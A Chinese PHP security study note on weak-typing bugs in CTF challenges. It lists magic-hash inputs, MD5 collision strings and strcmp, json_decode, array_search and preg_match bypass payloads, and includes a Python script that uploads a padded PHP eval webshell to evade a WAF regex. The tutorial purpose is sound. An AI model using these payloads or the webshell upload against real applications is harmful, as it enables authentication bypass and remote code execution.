php安全学习笔记-弱类型
2022-11-1 09:58:44 Author: 安全狗的自我修养(查看原文) 阅读量:17 收藏


相关文章 & Source & Reference

相关 writeup

  • ISITDTU CTF 2019 EasyPHP 回顾


松散比较

php中有两种比较的符号 == 与 ===

  • 严格比较 : === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较

  • 松散比较 : == 在进行比较的时候,会先将字符串类型转化成相同,再比较,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

<?php
var_dump("admin"==0); //true
var_dump("1admin"==1); //true
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true
?>

观察上述代码,"admin"==0 比较的时候,会将 admin 转化成数值,强制转化, 由于 admin 是字符串,转化的结果是 0 自然和 0 相等

"1admin"==1 比较的时候会将 1admin 转化成数值, 结果为 1

"0e123456"=="0e456789" 相互比较的时候,会将 0e 这类字符串识别为科学技术法的数字,0 的无论多少次方都是零,所以相等

“admin1“==1 却等于错误,也就是 "admin1" 被转化成了 0, 为什么呢??

  • 当一个字符串被当作一个数值来取值,其结果和类型如下: 如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内该字符串被当作 int 来取值,其他所有情况下都被作为 float 来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为 0。

<?php
$test=1 + "10.5"; // $test=11.5(float)
$test=1+"-1.3e3"; //$test=-1299(float)
$test=1+"bob-1.3e3"; //$test=1(int)
$test=1+"2admin"; //$test=3(int)
$test=1+"admin2"; //$test=1(int)
?>

Hash比较缺陷

CTF 比赛中需要用到弱类型 HASH 比较缺陷最明显的标志便是管理员密码 MD5 之后的值是以 0e 开头

<?php
if (isset($_GET['Username']) && isset($_GET['password'])) {
$logined = true;
$Username = $_GET['Username'];
$password = $_GET['password'];

if (!ctype_alpha($Username)) {$logined = false;}
if (!is_numeric($password) ) {$logined = false;}
if (md5($Username) != md5($password)) {$logined = false;}
if ($logined){
echo "successful";
}else{
echo "login failed!";
}
}
?>

题目大意是要输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句

在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较

0e 在比较的时候会将其视作为科学计数法,所以无论 0e 后面是什么,0 的多少次方还是 0。

ej0D
ek06
el08
eo0n
ey0M
ey0O
ez0s
e006
e10l
eU3Z
eW3vfSoL
fToh
fTo1
fUoU
fYou
fapF
fbpf
fdpF
fnpZ
fppr
fqpa
frpj
fwpD
fyp5
f1p2
f4pN
f7pu
fDpQ
fHpP
fIp4
fJpX
fLpv
fOpi
fQp3
fTpi
fVpz
feqN
fjqN
fvq1
fyqy
fAqJ
fEqk
fFqg
fFqi
fHqX
fIqF
fKqh
fLq6
fQq6
fQqA
fRql
fUq4
fUqA
fXq0
farg
farJ
ftrT
f7rm
fCrB
fErY
fIrt
QNKCDZO
s878926199a
s155964671a
s214587387a
s214587387a
s878926199a
240610708
314282422
s1502113478a
s1091221200a

以上字符 md5 开头都是 0e,即可绕过验证

可以用下列脚本寻找

<?php
for($a=1;$a<=1000000000;$a++){
$md5 = md5($a);
if(preg_match('/^0e\d+$/',$md5)){
echo $a;
echo "\n";
echo $md5;
echo "\n";
}
}

双md5结果仍为0e开头字符串

CbDLytmyGm2xQyaLNhWn
md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18
md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af

770hQgrBOjrcqftrlaZk
md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625
md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064

7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f

md5=md5(

md5=md5(md5)

md5('0e215962017') ==> “0e291242476940776845150308577824”

md5($str,true)注入

ffifdyop
4SV7p
bJm4aG
bNas5p
ckHAEb

md5 强比较

二进制md5加密 b8c21b7bfde6adea3a438f22e6672789
url编码 test%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00F%D5%E6R%C99%14%F3%95p%D0f%C9%17%90%1D%2C%27%5Bn_%F2%16%DAV%FA9%7Dj%0C%09%E5%BF%C3%C9%E0%DC%E58K%8B%10%EA%A2%EF_%BC%60%27%B2%A1%D9_%FF%E6%B78%8C%9F%5Ck6%EF%89N%D1%013%19%03%BAb%BB%9F.%9B%E7%7CPd%23%A3%C8S8%1C%02%D9%09%B3%107%2B%60%88%D7%D7%F3pD%AFBL%F4y%3CH%9B%94%9C%F6%3E%60u%D2%9Cf%1F%3B%EF%B3M%C6%88%ABS%19%2C

二进制md5加密 b8c21b7bfde6adea3a438f22e6672789
url编码 test%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00F%D5%E6R%C99%14%F3%95p%D0f%C9%17%90%1D%2C%27%5B%EE_%F2%16%DAV%FA9%7Dj%0C%09%E5%BF%C3%C9%E0%DC%E58K%8B%10%EA%A2%EF%DF%BC%60%27%B2%A1%D9_%FF%E6%B78%8C%9F%DCk6%EF%89N%D1%013%19%03%BAb%BB%9F.%9B%E7%7CPd%23%A3%C8%D38%1C%02%D9%09%B3%107%2B%60%88%D7%D7%F3pD%AFBL%F4y%3CH%9B%94%1C%F6%3E%60u%D2%9Cf%1F%3B%EF%B3M%C6%08%ABS%19%2C

%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

MD4

if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}

//0e251288019
//0e898201062

MD2

<?php
for($i=0;$i<99999;$i++){
$x1=hash("md2", '0e'.$i.'024452');
if(substr($x1,0,2)==='0e' and is_numeric($x1)){
break;
}
}
for($j=0;$j<999999;$j++){
$x2=hash('md2',hash("md2", '0e'.$j.'48399'));
if(substr($x2,0,2)==='0e' and is_numeric($x2)){
break;
}
}
print('b=0e'.$i.'024452&c=0e'.$j.'48399');
?>

// b=0e652024452&c=0e603448399

shal

if(sha1($v1)==sha1($v2) && $v1!=$v2){

// aaroZmOk
// aaK1STfY
// aaO8zKZF
// aa3OFF9m


布尔欺骗

当存在 json_decode 和 unserialize 时,部分结构会被解释为 bool 类型,会造成欺骗

<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
?>

输入一个 json 类型的字符串,json_decode 函数解密成一个数组,判断数组中 key 的值是否等于 key 的值,但是key的值,但是key 的值我们不知道,但是可以利用 0=="admin" 这种形式绕过

最终 payload message={"key":0}


数字转换欺骗

var_dump(intval('2'))               # 输出为 int(2)
var_dump(intval('3bc')) # 输出为 int(3)
var_dump(intval('abcd')) # 输出为 int(0)
#intval() 用于获取变量的整数值
var_dump(0.9999999999999999999==1) # 输出为 true
<?php
echo 6e6; # 输出为 6000000
echo (int)'6e6'; # 输出为 6

strcmp 绕过

strcmp 是比较两个字符串,如果 str1 < str2 则返回 < 0 如果 str1 大于 str2 返回> 0 如果两者相等 返回 0

<?php
$password="***************";
if(isset($_POST['password'])){

if (strcmp($_POST['password'], $password) == 0) {
echo "Right!!!login success";
exit();
} else {
echo "Wrong password..";
}}
?>

我们是不知道 password 的值的,题目要求 strcmp 判断的接受的值和password的值的,题目要求strcmp判断的接受的值和password 必需相等,strcmp 传入的期望类型是字符串类型,如果传入的是个数组会怎么样呢

我们传入 password[]=xxx 可以绕过 是因为函数接受到了不符合的类型,将发生错误,但是还是判断其相等

payload: password[]=xxx


switch 绕过

<?php
$a="4admin";
switch ($a) {
case 1:
echo "fail1";
break;
case 2:
echo "fail2";
break;
case 3:
echo "fail3";
break;
case 4:
echo "sucess"; //结果输出success;
break;
default:
echo "failall";
break;
}
?>

switch() 其中 () 内的值会被弱类型转换


array_search is_array 绕过

<?php
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
if($test[$i]==="admin"){
echo "error";
exit();
}
$test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
echo "flag";
}
else{
echo "false";
}
?>

先判断传入的是不是数组,然后循环遍历数组中的每个值,并且数组中的每个值不能和 admin 相等,并且将每个值转化为 int 类型,再判断传入的数组是否有 admin,有则返回 flag

payload test[]=0 可以绕过

下面是官方手册对 array_search 的介绍

mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] )

needle,haystack 必需,strict 可选 函数判断haystack 中的值是存在 $needle,存在则返回该值的键值 第三个参数默认为 false,如果设置为 true 则会进行严格过滤

<?php
$a=array(0,1);
var_dump(array_search("admin",$a)); // int(0) => 返回键值0
var_dump(array_search("1admin",$a)); // int(1) ==>返回键值1
?>

array_search 函数 类似于 == 也就是 $a=="admin" 当然是 $a=0 当然如果第三个参数为 true 则就不能绕过


preg_match 绕过

数组绕过

preg_match 只能处理字符串,当传入的 subject 是数组时会返回 false

PCRE 回溯次数限制

<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(!is_php($input)) {
// fwrite($f, $input); ...
}

pcre.backtrack_limit 给 pcre 设定了一个回溯次数上限,默认为 1000000,如果回溯次数超过这个数字,preg_match 会返回 false

import requests
from io import BytesIO

files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://1.1.1.1:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

很多基于 PHP 的 WAF,如:

if(preg_match('/SELECT.+FROM.+/is', $input)) {
die('SQL Injection');
}

均存在上述问题,通过大量回溯可以进行绕过。

还有一种是

if(preg_match('/UNION.+?SELECT/is', $input)) {
die('SQL Injection');
}

回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF.

当使用 === 全等号匹配时,不会有这个问题

function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(is_php($input) === 0) {
// fwrite($f, $input); ...
}

换行符

. 不会匹配换行符,如

if (preg_match('/^.*(flag).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
}

只需要

$json="\nflag"

而在非多行模式下,$ 似乎会忽略在句尾的 %0a

if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}

只需要传入

?a=flag%0a

可以关注下公众号了解更多。

其它教程学习资料。

gitee.com/haidragon/haidragon

github.com/haidragon 


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwOTE5MDY5NA==&mid=2247485950&idx=3&sn=6f431abc9b588c7ecc1e43539dbd9690&chksm=c13f3ab7f648b3a12b8b295f4e6d529f6b32db2d17258e56860e3b99cab0d35d0a5460c363b7#rd
如有侵权请联系:admin#unsafe.sh